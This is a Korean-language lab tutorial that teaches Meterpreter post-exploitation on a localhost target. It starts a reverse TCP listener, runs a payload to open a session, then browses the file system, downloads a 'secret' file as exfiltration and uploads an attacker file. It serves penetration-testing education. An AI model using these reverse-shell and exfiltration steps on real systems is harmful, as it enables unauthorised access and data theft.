Meterpreter 를 사용하여 대상 파일 시스템과 상호 작용하기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 Metasploit Framework 의 고급 페이로드인 Meterpreter 를 사용하여 대상의 파일 시스템과 상호 작용하는 기본적인 기술을 배우게 됩니다. 포스트 익스플로잇 (Post-exploitation) 은 침투 테스트의 중요한 단계이며, 파일 시스템을 탐색하고 민감한 파일을 다운로드하며 자체 도구나 스크립트를 업로드하는 능력은 필수적인 기술입니다.

Meterpreter 세션을 설정하는 과정을 살펴보고, ls, cd, download, upload, cat과 같은 핵심 명령을 사용하여 침해된 시스템의 파일을 탐색하고 조작하는 방법을 알아보겠습니다.

ls 명령어로 파일 및 디렉토리 나열하기

이 단계에서는 먼저 Meterpreter 세션을 설정한 다음 ls 명령어를 사용하여 대상 시스템의 파일을 나열합니다. 저희 설정 스크립트는 이미 페이로드 (payload.elf) 와 리스너 설정 파일 (listener.rc) 을 생성했습니다.

먼저 Metasploit 리스너를 시작합니다. 이 리스너는 페이로드로부터의 들어오는 연결을 기다립니다. -r 플래그를 사용하여 리소스 파일을 로드하며, 이는 설정을 자동화합니다.

터미널을 열고 다음 명령을 실행합니다.

msfconsole -r listener.rc

Metasploit 콘솔이 시작되고 핸들러가 백그라운드 작업으로 실행되는 것을 볼 수 있습니다. 출력은 다음과 유사할 것입니다.

[*] Msfconsole tip: Use the resource command to run a script of
    console commands.

    ...

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

msf6 >

이제 리스너에 연결하기 위해 페이로드를 실행해야 합니다. 터미널 탭 바에서 "+" 아이콘을 클릭하여 새 터미널을 엽니다. 이 새 터미널에서 ~/project 디렉토리에 있는 페이로드 파일을 실행합니다.

./payload.elf

이 명령은 출력을 생성하지 않습니다. 첫 번째 터미널 ( msfconsole을 실행 중인 터미널) 로 다시 전환합니다. 세션이 열렸음을 나타내는 메시지가 표시될 것입니다.

[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

참고: 세션으로 자동 전환되지 않은 경우, sessions 명령어로 활성 세션을 나열하고 sessions -i <ID> (예: sessions -i 1) 를 사용하여 세션과 상호 작용할 수 있습니다.

이제 meterpreter > 프롬프트로 표시되는 Meterpreter 세션에 있습니다. 여기서 입력하는 모든 명령은 대상 컴퓨터에서 실행됩니다. 대상의 현재 디렉토리에 있는 파일을 나열하기 위해 ls 명령어를 사용해 보겠습니다.

ls

이 명령은 대상의 현재 작업 디렉토리에 있는 파일과 디렉토리를 나열합니다.

meterpreter > ls
Listing: /home/labex/project
============================

Mode              Size    Type  Perms  Name
----              ----    ----  -----  ----
100755/rwxr-xr-x  10152   fil   rwx/-  payload.elf
100644/rw-r--r--  100     fil   rw-/-  listener.rc

cd 명령어로 디렉토리 변경하기

이 단계에서는 Meterpreter 내에서 cd (change directory) 명령어를 사용하여 대상의 파일 시스템을 탐색하는 방법을 배우게 됩니다. 이는 표준 Linux cd 명령어와 동일하게 작동합니다.

저희 설정 스크립트는 대상 시스템의 /tmp/victim_files에 디렉토리를 생성했습니다. /tmp 디렉토리로 이동해 보겠습니다.

cd /tmp

명령 자체는 아무런 출력을 생성하지 않습니다. 디렉토리를 변경했는지 확인하기 위해 pwd (print working directory) 명령어를 사용할 수 있습니다.

pwd

출력은 대상 컴퓨터에서의 현재 디렉토리를 보여줍니다.

meterpreter > pwd
/tmp

이제 /tmp 디렉토리에 있으므로, ls 명령어로 내용을 나열하여 victim_files 디렉토리를 찾아보겠습니다.

ls

/tmp의 다른 파일 및 디렉토리 중에서 victim_files 디렉토리를 볼 수 있어야 합니다.

meterpreter > ls
Listing: /tmp
============

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
...
40777/rwxrwxrwx   4096  dir   rwx/-  victim_files
...

download 명령어로 대상으로부터 파일 다운로드하기

이 단계에서는 대상 시스템에서 저희 컴퓨터로 파일을 다운로드하는 방법을 배웁니다. 이는 데이터를 외부로 유출하는 중요한 기술입니다. download 명령어를 사용할 것입니다.

먼저 이전 단계에서 찾은 victim_files 디렉토리로 이동합니다.

cd victim_files

이제 이 디렉토리의 파일을 나열하여 대상 파일을 찾습니다.

ls

설정 스크립트가 생성한 secret_notes.txt 파일을 볼 수 있습니다.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

이제 이 파일을 저희 로컬 ~/project 디렉토리로 다운로드합니다. 구문은 download <file_on_target>입니다. 기본적으로 현재 로컬 디렉토리로 다운로드됩니다.

download secret_notes.txt

다운로드가 성공했음을 나타내는 확인 메시지를 볼 수 있어야 합니다.

[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download   : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt

확인하기 위해 새 터미널을 열거나 (또는 이전에 연 두 번째 터미널을 사용하거나) 로컬 컴퓨터의 ~/project 디렉토리에서 파일을 나열할 수 있습니다.

ls ~/project

이제 파일 목록에서 secret_notes.txt를 볼 수 있어야 합니다.

upload 명령어로 대상에게 파일 업로드하기

이 단계에서는 upload 명령어를 사용하여 저희 컴퓨터에서 대상 시스템으로 파일을 업로드하는 방법을 배우게 됩니다. 이는 도구, 스크립트 또는 기타 페이로드 (payload) 를 대상에 배치하는 데 유용합니다.

먼저, 업로드할 파일을 저희 로컬 컴퓨터에 준비해야 합니다. 하나 만들어 보겠습니다. 로컬 쉘 터미널 (Meterpreter 세션이 아닌) 에서 다음 명령어를 실행하여 attacker_file.txt라는 파일을 생성합니다.

echo "attacker data" > ~/project/attacker_file.txt

이제 Meterpreter 세션으로 돌아갑니다. 대상 시스템의 /tmp/victim_files 디렉토리에 있어야 합니다. 저희 로컬 ~/project 디렉토리의 attacker_file.txt를 대상의 현재 디렉토리로 업로드할 것입니다.

구문은 upload <local_file_path>입니다.

upload /home/labex/project/attacker_file.txt

업로드가 성공했음을 확인하는 메시지를 볼 수 있습니다.

[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt

파일이 대상에 있는지 확인하려면 Meterpreter 세션에서 ls를 실행합니다.

ls

이제 secret_notes.txt와 새로 업로드한 attacker_file.txt를 모두 볼 수 있어야 합니다.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  14    fil   rw-/-  attacker_file.txt
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

cat 명령어로 텍스트 파일 내용 보기

마지막 단계에서는 Meterpreter 의 cat 명령어를 사용하여 파일을 먼저 다운로드하지 않고도 대상의 파일 시스템에 있는 파일의 내용을 직접 볼 수 있습니다.

Meterpreter 세션 내에서 대상의 /tmp/victim_files 디렉토리에 있어야 합니다.

먼저 원본 파일인 secret_notes.txt의 내용을 보겠습니다.

cat secret_notes.txt

이 명령어는 파일의 내용을 콘솔에 직접 출력합니다.

meterpreter > cat secret_notes.txt
This is a secret file from the target.

다음으로, 업로드한 파일인 attacker_file.txt의 내용을 보고 올바르게 전송되었는지 확인해 보겠습니다.

cat attacker_file.txt

로컬 컴퓨터에서 생성한 텍스트를 볼 수 있어야 합니다.

meterpreter > cat attacker_file.txt
attacker data

이 명령어는 대상 시스템의 설정 파일, 로그 또는 스크립트를 신속하게 검사하는 데 매우 유용합니다.

요약

이 실습을 완료하신 것을 축하드립니다! 대상의 파일 시스템과 상호 작용하는 데 필수적인 Meterpreter 명령어를 배웠습니다.

성공적으로 Meterpreter 세션을 설정하고 다음의 주요 사후 공격 (post-exploitation) 명령어를 연습했습니다.

  • ls: 파일 및 디렉토리 목록을 표시합니다.
  • cd: 파일 시스템을 탐색합니다.
  • pwd: 현재 작업 디렉토리를 확인합니다.
  • download: 대상에서 저희 컴퓨터로 파일을 반출합니다.
  • upload: 저희 컴퓨터에서 대상에게 파일을 배치합니다.
  • cat: 대상에서 직접 텍스트 파일의 내용을 봅니다.

이 명령어들을 숙달하는 것은 Metasploit Framework 에 능숙해지고 효과적인 침투 테스트를 수행하는 데 있어 기본적인 단계입니다.